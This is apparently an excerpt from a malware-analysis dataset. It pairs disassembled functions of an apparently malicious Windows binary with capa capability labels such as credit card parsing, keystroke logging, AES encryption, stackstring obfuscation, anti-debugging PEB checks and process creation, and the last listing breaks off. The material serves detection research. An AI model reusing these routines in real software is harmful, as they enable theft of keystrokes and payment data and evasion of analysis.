joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1001e0f0
Capabilities:
Parse credit card information

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
mov ebx, ecx
push edi
mov al, byte [ebx]
mov edi, edx
test al, al
je 0x1001e1d0
push esi
cmp al, 0x24
je 0x1001e13f
cmp al, 0x26
je 0x1001e13f
cmp al, 0x2b
je 0x1001e13f
cmp al, 0x2c
je 0x1001e13f
cmp al, 0x2f
je 0x1001e13f
cmp al, 0x3a
je 0x1001e13f
cmp al, 0x3b
je 0x1001e13f
cmp al, 0x3d
je 0x1001e13f
cmp al, 0x3f
je 0x1001e13f
cmp al, 0x40
je 0x1001e13f
cmp al, 0x23
je 0x1001e13f
cmp al, 0x20
je 0x1001e13f
mov byte [edi], al
inc edi
jmp 0x1001e1c3
movsx eax, al
push eax
lea eax, [ebp - 4]
push 0x1009de04
push eax
call fcn.1006245b
lea ecx, [ebp - 4]
add esp, 0xc
xor esi, esi
lea edx, [ecx + 1]
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001e160
sub ecx, edx
je 0x1001e19d
jmp 0x1001e170
movsx eax, byte [ebp + esi - 4]
push eax
call fcn.10067f2d
mov byte [ebp + esi - 4], al
lea eax, [ebp - 4]
add esp, 4
inc esi
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1001e190
sub eax, edx
cmp esi, eax
jb 0x1001e170
lea ecx, [ebp - 4]
mov edx, edi
mov eax, ecx
sub edx, eax
mov al, byte [ecx]
mov byte [edx + ecx], al
lea ecx, [ecx + 1]
test al, al
jne 0x1001e1a6
lea ecx, [ebp - 4]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001e1b8
sub ecx, edx
add edi, ecx
mov al, byte [ebx + 1]
inc ebx
test al, al
jne 0x1001e107
pop esi
mov byte [edi], 0
pop edi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1001e1e0
Capabilities:
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
mov ebx, ecx
push edi
mov dword [ebp - 0x10], ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov edi, eax
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov esi, dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push 0
push eax
call esi
push 0
push ebx
mov dword [ebp - 8], eax
call esi
mov ecx, dword [ebp - 8]
mov ebx, eax
mov eax, dword [sym.imp.USER32.dll_AttachThreadInput]
cmp edi, ecx
je 0x1001e228
push 1
push ecx
push edi
call eax
mov eax, dword [sym.imp.USER32.dll_AttachThreadInput]
cmp ebx, edi
je 0x1001e232
push 1
push edi
push ebx
call eax
mov esi, dword [sym.imp.USER32.dll_SystemParametersInfoA]
push 0
lea eax, [ebp - 4]
push eax
push 0
push 0x2000
mov dword [ebp - 4], 0
mov dword [ebp - 0xc], 0
call esi
push 0
lea eax, [ebp - 0xc]
push eax
push 0
push 0x2001
call esi
push 2
call dword [sym.imp.USER32.dll_LockSetForegroundWindow]
push 0xffffffffffffffff
call dword [sym.imp.USER32.dll_AllowSetForegroundWindow]
push dword [ebp - 0x10]
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push 0
lea eax, [ebp - 4]
push eax
push 0
push 0x2001
call esi
mov eax, dword [ebp - 8]
mov esi, dword [sym.imp.USER32.dll_AttachThreadInput]
cmp edi, eax
je 0x1001e29f
push 0
push eax
push edi
call esi
cmp ebx, edi
je 0x1001e2a9
push 0
push edi
push ebx
call esi
pop edi
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1001e2e0
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10082c19
mov eax, dword fs:[0]
push eax
sub esp, 0x60
mov eax, dword [0x100af440]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x64], edx
mov ebx, ecx
mov dword [ebp - 4], 0
mov dword [ebp - 0x68], 0
mov ecx, 0x10
mov esi, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
lea edi, [ebp - 0x54]
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
mov dword [ebp - 0x6c], ebx
movsb byte es:[edi], byte [esi]
call fcn.1000b480
mov edi, dword [ebp + 8]
xor esi, esi
mov dword [ebp - 4], 0
mov dword [ebp - 0x68], 1
test edi, edi
je 0x1001e482
mov ecx, dword [ebp - 0x64]
mov al, byte [ecx]
mov byte [ebp + esi - 0x5c], al
mov ah, byte [ebp - 0x5a]
mov dl, byte [ebp - 0x5b]
mov dh, byte [ebp - 0x5c]
inc esi
inc ecx
dec edi
mov dword [ebp - 0x64], ecx
mov byte [ebp - 0x5f], ah
mov byte [ebp - 0x5d], dl
mov byte [ebp - 0x5e], dh
cmp esi, 3
jne 0x1001e3d3
mov al, dh
shr al, 2
mov byte [ebp - 0x58], al
mov cl, dh
and cl, 3
shl cl, 4
mov al, dl
shr al, 4
add cl, al
mov byte [ebp - 0x57], cl
mov cl, dl
and cl, 0xf
mov al, ah
shr al, 6
shl cl, 2
add cl, al
mov al, ah
and al, 0x3f
mov byte [ebp - 0x56], cl
mov byte [ebp - 0x55], al
xor esi, esi
mov edi, edi
movzx eax, byte [ebp + esi - 0x58]
mov ecx, ebx
movzx eax, byte [ebp + eax - 0x54]
push eax
call fcn.10015810
inc esi
cmp esi, 4
jl 0x1001e3b0
mov ecx, dword [ebp - 0x64]
mov dl, byte [ebp - 0x5d]
mov dh, byte [ebp - 0x5e]
xor esi, esi
test edi, edi
jne 0x1001e356
mov dword [ebp - 0x64], esi
test esi, esi
je 0x1001e482
mov eax, esi
cmp esi, 3
jge 0x1001e40d
cmp eax, 3
jae 0x1001e408
mov byte [ebp + eax - 0x5c], 0
inc eax
cmp eax, 3
jl 0x1001e3f0
mov cl, byte [ebp - 0x5a]
mov dl, byte [ebp - 0x5b]
mov dh, byte [ebp - 0x5c]
jmp 0x1001e410
call fcn.10063ae1
mov cl, byte [ebp - 0x5f]
mov al, dh
shr al, 2
mov byte [ebp - 0x58], al
mov al, dl
and dh, 3
shr al, 4
shl dh, 4
add dh, al
and dl, 0xf
mov al, cl
shr al, 6
shl dl, 2
add dl, al
lea eax, [esi + 1]
and cl, 0x3f
xor edi, edi
mov byte [ebp - 0x57], dh
mov byte [ebp - 0x56], dl
mov byte [ebp - 0x55], cl
mov dword [ebp - 0x5c], eax
test eax, eax
jle 0x1001e46a
mov esi, eax
lea esp, [esp]
movzx eax, byte [ebp + edi - 0x58]
mov ecx, ebx
movzx eax, byte [ebp + eax - 0x54]
push eax
call fcn.10015810
inc edi
cmp edi, esi
jl 0x1001e450
mov esi, dword [ebp - 0x64]
cmp esi, 3
jge 0x1001e482
mov edi, 3
sub edi, esi
push 0x3d
mov ecx, ebx
call fcn.10015810
dec edi
jne 0x1001e476
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10061e3f
mov esp, ebp
pop ebp
ret
Function at 0x1001e4a0
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
mov eax, dword [0x100af440]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0x10]
push edi
mov edi, dword [ebp + 0x1c]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp + 0x14]
push 0xf0000000
push 0x18
mov dword [ebp - 0x34], eax
mov eax, dword [ebp + 0x18]
push 0
mov dword [ebp - 0x44], eax
push 0
lea eax, [ebp - 0x3c]
push eax
xor bl, bl
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x3c], 0
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x1001e65f
mov eax, dword [ebp - 0x34]
mov ecx, 0x20
mov eax, dword [eax]
cmp eax, ecx
cmovb ecx, eax
push ecx
xorps xmm0, xmm0
lea eax, [ebp - 0x24]
push esi
push eax
mov dword [ebp - 0x30], 0x208
mov dword [ebp - 0x2c], 0x6610
mov dword [ebp - 0x28], 0x20
movq qword [ebp - 0x24], xmm0
movq qword [ebp - 0x1c], xmm0
movq qword [ebp - 0x14], xmm0
movq qword [ebp - 0xc], xmm0
call fcn.100649a0
add esp, 0xc
lea eax, [ebp - 0x38]
push eax
push 1
push 0
push 0x2c
lea eax, [ebp - 0x30]
push eax
push dword [ebp - 0x3c]
call dword [sym.imp.ADVAPI32.dll_CryptImportKey]
test eax, eax
je 0x1001e64f
push 0
lea eax, [ebp - 0x50]
push eax
push 4
push dword [ebp - 0x38]
mov dword [ebp - 0x50], 1
call dword [sym.imp.ADVAPI32.dll_CryptSetKeyParam]
test eax, eax
je 0x1001e641
push 0
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp - 0x34]
push eax
push 8
push dword [ebp - 0x38]
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x54], 4
call dword [sym.imp.ADVAPI32.dll_CryptGetKeyParam]
test eax, eax
je 0x1001e641
mov eax, dword [ebp - 0x34]
shr eax, 3
push eax
push 0
mov dword [ebp - 0x34], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
test esi, esi
je 0x1001e641
push dword [ebp - 0x34]
push 0
push esi
call fcn.10064860
add esp, 0xc
push 0
push esi
push 1
push dword [ebp - 0x38]
call dword [sym.imp.ADVAPI32.dll_CryptSetKeyParam]
push esi
test eax, eax
jne 0x1001e5f2
call dword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x1001e641
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov esi, dword [ebp - 0x48]
mov ecx, dword [esi]
cmp dword [edi], ecx
cmovb ecx, dword [edi]
push ecx
push dword [ebp - 0x4c]
push dword [ebp - 0x44]
call fcn.100649a0
mov eax, dword [esi]
add esp, 0xc
push dword [edi]
mov dword [ebp - 0x40], eax
lea eax, [ebp - 0x40]
push eax
push dword [ebp - 0x44]
push 0
push 0
push 0
push dword [ebp - 0x38]
call dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
test eax, eax
jne 0x1001e63a
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x1001e641
mov eax, dword [ebp - 0x40]
mov dword [edi], eax
mov bl, 1
mov eax, dword [ebp - 0x38]
test eax, eax
je 0x1001e64f
push eax
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov eax, dword [ebp - 0x3c]
test eax, eax
je 0x1001e65f
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov ecx, dword [ebp - 4]
pop edi
pop esi
mov al, bl
xor ecx, ebp
pop ebx
call fcn.10061e3f
mov esp, ebp
pop ebp
ret 0x18
Function at 0x1001e680
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x10082bd1
mov eax, dword fs:[0]
push eax
sub esp, 0x470
mov eax, dword [0x100af440]
xor eax, esp
mov dword [esp + 0x468], eax
push ebx
push esi
push edi
mov eax, dword [0x100af440]
xor eax, esp
push eax
lea eax, [esp + 0x480]
mov dword fs:[0], eax
mov ebx, ecx
mov esi, dword [ebp + 8]
lea ecx, [esp + 0x20]
call fcn.10015830
mov dword [esp + 0x488], 0
mov edi, 0x10
mov edi, edi
lea eax, [esp + 0x17]
push eax
lea ecx, [esp + 0x24]
mov byte [esp + 0x1b], 0
call fcn.1001e8d0
dec edi
jne 0x1001e6e0
mov al, byte [esi]
test al, al
je 0x1001e71c
lea esp, [esp]
mov byte [esp + 0x17], al
lea eax, [esp + 0x17]
push eax
lea ecx, [esp + 0x24]
call fcn.100158c0
mov al, byte [esi + 1]
lea esi, [esi + 1]
test al, al
jne 0x1001e700
mov esi, 0x10
lea eax, [esp + 0x17]
push eax
lea ecx, [esp + 0x24]
mov byte [esp + 0x1b], 0
call fcn.1001e8d0
dec esi
jne 0x1001e721
lea ecx, [esp + 0x20]
call fcn.10015880
mov ecx, dword [esp + 0x24]
cdq
and edx, 0xf
mov dword [esp + 0x1c], ecx
lea edi, [edx + eax]
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x20]
and edi, 0xfffffff0
call fcn.10001030
mov eax, dword [esp + 0x20]
mov esi, dword [esp + 0x1c]
mov dword [esp + 0x18], eax
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x1c]
call fcn.10001030
mov eax, dword [esp + 0x18]
add eax, edi
push esi
push eax
lea eax, [esp + 0x34]
push eax
lea ecx, [esp + 0x2c]
call fcn.1001e990
lea ecx, [esp + 0x30]
mov dword [esp + 0x6d], 0x44454445
mov dword [esp + 0x67], 0x46314238
mov dword [esp + 0x62], 0x44424433
mov dword [esp + 0x5e], 0x39313537
mov dword [esp + 0x55], 0x33463746
mov dword [esp + 0x59], 0x36434142
mov byte [esp + 0x54], 0x33
mov word [esp + 0x6b], 0x3134
mov byte [esp + 0x66], 0x32
mov byte [esp + 0x71], 0
mov byte [esp + 0x5d], 0x36
call fcn.10015830
mov byte [esp + 0x488], 1
xor esi, esi
mov edi, edi
mov al, byte [esp + esi + 0x54]
mov byte [esp + 0x17], al
lea eax, [esp + 0x17]
push eax
lea ecx, [esp + 0x34]
call fcn.100158c0
inc esi
cmp esi, 0x1d
jl 0x1001e7f0
lea ecx, [esp + 0x30]
mov dword [esp + 0x18], 0x400
call fcn.10015880
lea ecx, [esp + 0x20]
mov dword [esp + 0x1c], eax
call fcn.10015880
mov dword [esp + 0x2c], eax
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x78]
push eax
lea eax, [esp + 0x24]
push eax
push 0
lea ecx, [esp + 0x40]
call fcn.100158a0
push eax
lea eax, [esp + 0x3c]
push eax
push 0
lea ecx, [esp + 0x38]
call fcn.100158a0
push eax
call fcn.1001e4a0
push dword [esp + 0x18]
lea edx, [esp + 0x78]
lea ecx, [esp + 0x40]
call fcn.1001e2e0
add esp, 4
lea eax, [esp + 0x3c]
push eax
mov ecx, ebx
mov byte [esp + 0x48c], 2
call fcn.1000b640
lea ecx, [esp + 0x3c]
call fcn.1000b620
lea ecx, [esp + 0x30]
call fcn.10015860
lea ecx, [esp + 0x20]
call fcn.10015860
mov ecx, dword [esp + 0x480]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x468]
xor ecx, esp
call fcn.10061e3f
mov esp, ebp
pop ebp
ret 4
Function at 0x1001ea60
Capabilities:
Access peb ldr_data
Check for peb ntglobalflag flag
Get number of processors
Get process heap flags
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10082df1
mov eax, dword fs:[0]
push eax
push ecx
push esi
mov eax, dword [0x100af440]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
call fcn.1000c2e0
lea ecx, [esi + 4]
mov dword [ebp - 4], 0
call fcn.1000c2e0
lea ecx, [esi + 8]
call fcn.1000c2e0
lea ecx, [esi + 0xc]
call fcn.1000c2e0
lea ecx, [esi + 0x10]
call fcn.1000c2e0
lea ecx, [esi + 0x14]
call fcn.1000c2e0
lea ecx, [esi + 0x18]
call fcn.1000c2e0
lea ecx, [esi + 0x1c]
call fcn.1000c2e0
lea ecx, [esi + 0x20]
call fcn.1000c2e0
lea ecx, [esi + 0x24]
call fcn.1000c2e0
lea ecx, [esi + 0x28]
call fcn.1000c2e0
lea ecx, [esi + 0x2c]
call fcn.1000c2e0
lea ecx, [esi + 0x30]
call fcn.1000c2e0
lea ecx, [esi + 0x34]
call fcn.1000c2e0
lea ecx, [esi + 0x38]
call fcn.1000c2e0
lea ecx, [esi + 0x3c]
call fcn.1000c2e0
lea ecx, [esi + 0x40]
call fcn.1000c2e0
lea ecx, [esi + 0x44]
call fcn.1000c2e0
lea ecx, [esi + 0x48]
call fcn.1000c2e0
lea ecx, [esi + 0x4c]
call fcn.1000c2e0
lea ecx, [esi + 0x50]
call fcn.1000c2e0
lea ecx, [esi + 0x54]
call fcn.1000c2e0
lea ecx, [esi + 0x58]
call fcn.1000c2e0
lea ecx, [esi + 0x5c]
call fcn.1000c2e0
lea ecx, [esi + 0x60]
call fcn.1000c2e0
lea ecx, [esi + 0x64]
call fcn.1000c2e0
lea ecx, [esi + 0x68]
call fcn.1000c2e0
lea ecx, [esi + 0x6c]
call fcn.1000c2e0
lea ecx, [esi + 0x70]
call fcn.1000c2e0
lea ecx, [esi + 0x74]
call fcn.1000c2e0
lea ecx, [esi + 0x78]
call fcn.1000c2e0
lea ecx, [esi + 0x7c]
call fcn.1000c2e0
lea ecx, [esi + 0x80]
call fcn.1000c2e0
lea ecx, [esi + 0x84]
call fcn.1000c2e0
lea ecx, [esi + 0x88]
call fcn.1000c2e0
lea ecx, [esi + 0x8c]
call fcn.1000c2e0
lea ecx, [esi + 0x90]
call fcn.1000c2e0
lea ecx, [esi + 0x94]
call fcn.1000c2e0
mov byte [ebp - 4], 0x25
push 0x10099dc5
lea ecx, [esi + 0xd4]
mov dword [esi + 0xd0], 0
call fcn.1000c340
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10020670
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100831c0
mov eax, dword fs:[0]
push eax
sub esp, 0x20
mov eax, dword [0x100af440]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 4], 0
call fcn.1001ed50
push ecx
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x2c], esp
push eax
mov dword [ebp - 0x20], 0x776f6853
mov dword [ebp - 0x15], 0x656d6f63
mov byte [ebp - 0x11], 0
mov word [ebp - 0x1a], 0x7362
mov word [ebp - 0x17], 0x6c65
mov word [ebp - 0x1c], 0x6154
mov byte [ebp - 0x18], 0x57
call fcn.1000c300
push ecx
mov byte [ebp - 4], 1
lea eax, [edi + 0x34]
mov ecx, esp
mov dword [ebp - 0x24], esp
push eax
call fcn.1000c300
push ecx
lea eax, [edi + 0x30]
mov ecx, esp
push eax
mov byte [ebp - 4], 2
call fcn.1000c300
mov ecx, edi
mov byte [ebp - 4], 0
call fcn.10021610
push 1
push ecx
lea eax, [edi + 0x3c]
mov ecx, esp
mov dword [ebp - 0x28], esp
push eax
call fcn.1000c300
push ecx
lea esi, [edi + 0x38]
mov ecx, esp
push esi
mov byte [ebp - 4], 3
call fcn.1000c300
mov ecx, edi
mov byte [ebp - 4], 0
call fcn.100216d0
push 1
push ecx
lea eax, [edi + 0x40]
mov ecx, esp
mov dword [ebp - 0x28], esp
push eax
call fcn.1000c300
push ecx
mov ecx, esp
push esi
mov byte [ebp - 4], 4
call fcn.1000c300
mov ecx, edi
mov byte [ebp - 4], 0
call fcn.100216d0
push 0
push ecx
lea eax, [ebp - 0x20]
mov ecx, esp
mov dword [ebp - 0x28], esp
push eax
call fcn.1000c340
push ecx
mov ecx, esp
push esi
mov byte [ebp - 4], 5
call fcn.1000c300
mov byte [ebp - 4], 0
mov ecx, edi
call fcn.100216d0
lea ecx, [ebp + 8]
call fcn.1000c400
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10061e3f
mov esp, ebp
pop ebp
ret 4
Function at 0x100211d0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x158
mov eax, dword [0x100af440]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x104
lea eax, [ebp - 0x147]
push 0
push eax
mov byte [ebp - 0x148], 0
call fcn.10064860
add esp, 8
lea eax, [ebp - 0x40]
push eax
push ecx
lea ecx, [ebp - 0x158]
mov dword [ebp - 0x14c], 0x104
mov dword [ebp - 0x158], 0
mov dword [ebp - 0x154], 0
mov dword [ebp - 0x150], 0
mov word [ebp - 0x38], 0x4d5c
mov dword [ebp - 0x25], 0x70784520
mov dword [ebp - 0x35], 0x736f7263
mov dword [ebp - 0x40], 0x54464f53
mov dword [ebp - 0x20], 0x7265726f
mov dword [ebp - 0x2f], 0x6e495c74
mov byte [ebp - 0x1c], 0
mov dword [ebp - 0x29], 0x74656e72
mov word [ebp - 0x3b], 0x5241
mov word [ebp - 0x2b], 0x6574
mov byte [ebp - 0x3c], 0x57
mov word [ebp - 0x31], 0x666f
mov byte [ebp - 0x36], 0x69
mov byte [ebp - 0x39], 0x45
mov byte [ebp - 0x21], 0x6c
call fcn.10021af0
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x10021320
lea eax, [ebp - 0x14c]
push eax
lea eax, [ebp - 0x148]
push eax
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x158]
mov dword [ebp - 0x11], 0x6e6f69
mov dword [ebp - 0x18], 0x56637673
mov word [ebp - 0x14], 0x7265
mov byte [ebp - 0x12], 0x73
call fcn.10021a00
test eax, eax
je 0x1002130f
lea eax, [ebp - 0x14c]
push eax
lea eax, [ebp - 0x148]
push eax
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x158]
mov word [ebp - 0xc], 0x6556
mov word [ebp - 9], 0x6973
mov word [ebp - 6], 0x6e
mov byte [ebp - 0xa], 0x72
mov byte [ebp - 7], 0x6f
call fcn.10021a00
mov esi, dword [ebp - 0x158]
test esi, esi
je 0x10021326
push esi
call ebx
xor esi, esi
jmp 0x10021326
mov esi, dword [ebp - 0x158]
push 0x1009a0ac
lea eax, [ebp - 0x148]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrA]
mov edi, eax
test edi, edi
je 0x100213e3
xor eax, eax
mov word [ebp - 0x14b], ax
mov byte [ebp - 0x149], al
lea eax, [ebp - 0x148]
mov ecx, edi
sub ecx, eax
push ecx
push eax
lea eax, [ebp - 0x14c]
push eax
mov byte [ebp - 0x14c], 0
call fcn.100649a0
lea eax, [ebp - 0x14c]
push eax
call fcn.1006754f
add esp, 0x10
inc edi
push 0x1009a0ac
push edi
mov dword [ebp - 8], eax
mov dword [ebp - 0x14c], 0
call dword [sym.imp.SHLWAPI.dll_StrStrA]
test eax, eax
je 0x100213bc
sub eax, edi
push eax
lea eax, [ebp - 0x14c]
push edi
push eax
call fcn.100649a0
lea eax, [ebp - 0x14c]
push eax
call fcn.1006754f
add esp, 0x10
xor ebx, ebx
cmp dword [ebp - 8], 0xb
setl bl
test esi, esi
je 0x100213d0
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10061e3f
mov esp, ebp
pop ebp
ret
test esi, esi
je 0x100213ea
push esi
call ebx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
mov eax, 1
pop ebx
call fcn.10061e3f
mov esp, ebp
pop ebp
ret
Function at 0x10021400
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10082e9d
mov eax, dword fs:[0]
push eax
sub esp, 0x160
mov eax, dword [0x100af440]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 4], 0
push 0x1009dd98
mov dword [ebp - 0x16c], edi
mov dword [ebp - 0x168], 0
call fcn.1000c340
push 0x104
lea eax, [ebp - 0x153]
push 0
push eax
mov dword [ebp - 0x168], 1
mov byte [ebp - 0x154], 0
call fcn.10064860
mov dword [ebp - 0x164], 0x104
mov dword [ebp - 0x160], 0
mov dword [ebp - 0x15c], 0
mov dword [ebp - 0x158], 0
mov dword [ebp - 4], 1
add esp, 8
lea eax, [ebp - 0x4c]
push eax
push ecx
lea ecx, [ebp - 0x160]
mov word [ebp - 0x35], 0x6e72
mov word [ebp - 0x41], 0x7263
mov word [ebp - 0x4c], 0x4f53
mov dword [ebp - 0x49], 0x52415754
mov dword [ebp - 0x3a], 0x746e495c
mov dword [ebp - 0x32], 0x78452074
mov word [ebp - 0x44], 0x4d5c
mov dword [ebp - 0x2b], 0x726572
mov word [ebp - 0x3c], 0x7466
mov byte [ebp - 0x36], 0x65
mov byte [ebp - 0x42], 0x69
mov word [ebp - 0x3f], 0x736f
mov word [ebp - 0x2e], 0x6c70
mov byte [ebp - 0x45], 0x45
mov byte [ebp - 0x4a], 0x46
mov byte [ebp - 0x3d], 0x6f
mov byte [ebp - 0x2c], 0x6f
mov byte [ebp - 0x33], 0x65
call fcn.10021af0
test eax, eax
jne 0x100215b6
mov byte [ebp - 0x1a], al
lea eax, [ebp - 0x164]
push eax
lea eax, [ebp - 0x154]
push eax
lea eax, [ebp - 0x24]
push eax
lea ecx, [ebp - 0x160]
mov word [ebp - 0x23], 0x6376
mov dword [ebp - 0x20], 0x69737265
mov byte [ebp - 0x21], 0x56
mov byte [ebp - 0x24], 0x73
mov word [ebp - 0x1c], 0x6e6f
call fcn.10021a00
test eax, eax
je 0x10021591
lea eax, [ebp - 0x164]
push eax
lea eax, [ebp - 0x154]
push eax
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x160]
mov dword [ebp - 0x17], 0x69737265
mov word [ebp - 0x12], 0x6e
mov byte [ebp - 0x18], 0x56
mov byte [ebp - 0x13], 0x6f
call fcn.10021a00
mov esi, dword [ebp - 0x160]
test esi, esi
je 0x100215aa
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor esi, esi
mov dword [ebp - 0x160], esi
mov dword [ebp - 0x15c], 0
jmp 0x100215bc
mov esi, dword [ebp - 0x160]
push 0x1009a0ac
lea eax, [ebp - 0x154]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrA]
test eax, eax
je 0x100215e7
lea eax, [ebp - 0x154]
push eax
push 0x10099ebc
push edi
call fcn.10012f50
add esp, 0xc
test esi, esi
je 0x100215f2
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10061e3f
mov esp, ebp
pop ebp
ret
Function at 0x10021780
Capabilities:
Create process on windows
Get comspec environment variable
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1008311b
mov eax, dword fs:[0]
push eax
sub esp, 0x45c
mov eax, dword [0x100af440]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
push 0x44
xorps xmm0, xmm0
lea eax, [ebp - 0x468]
push 0
push eax
movq qword [ebp - 0x424], xmm0
movq qword [ebp - 0x41c], xmm0
call fcn.10064860
xor eax, eax
push 0x3ff
push eax
mov word [ebp - 0x438], ax
mov byte [ebp - 0x410], al
lea eax, [ebp - 0x40f]
push eax
mov dword [ebp - 0x468], 0x44
mov dword [ebp - 0x43c], 1
call fcn.10064860
add esp, 0x18
lea eax, [ebp - 0x410]
push 0x400
push eax
push str.COMSPEC
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
lea ecx, [ebp - 0x414]
call fcn.1000c2e0
mov dword [ebp - 4], 0
push dword [edi + 0xd4]
lea eax, [ebp - 0x414]
push str._d__c__s
push eax
call fcn.10012f50
add esp, 0xc
lea eax, [ebp - 0x424]
push eax
lea eax, [ebp - 0x468]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x414]
call fcn.1000ce60
push eax
lea eax, [ebp - 0x410]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x100218c6
push 0xbb8
push dword [ebp - 0x424]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x424]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x420]
call esi
push 0x10099dc5
lea ecx, [edi + 0xd4]
call fcn.1000c440
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0xffffffffffffffff
lea ecx, [ebp - 0x414]
call fcn.1000cf30
lea ecx, [ebp - 0x414]
call fcn.1000c400
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10061e3f
mov esp, ebp
pop ebp
ret 4

Function at 0x10021a00
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 0x10]
mov eax, dword [edi]
mov dword [ebp + 0x10], eax
lea eax, [ebp + 0x10]
push eax
push esi
lea eax, [ebp + 0xc]
push eax
push 0
push dword [ebp + 8]
mov dword [edi], 0
push dword [ecx]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x10021a61
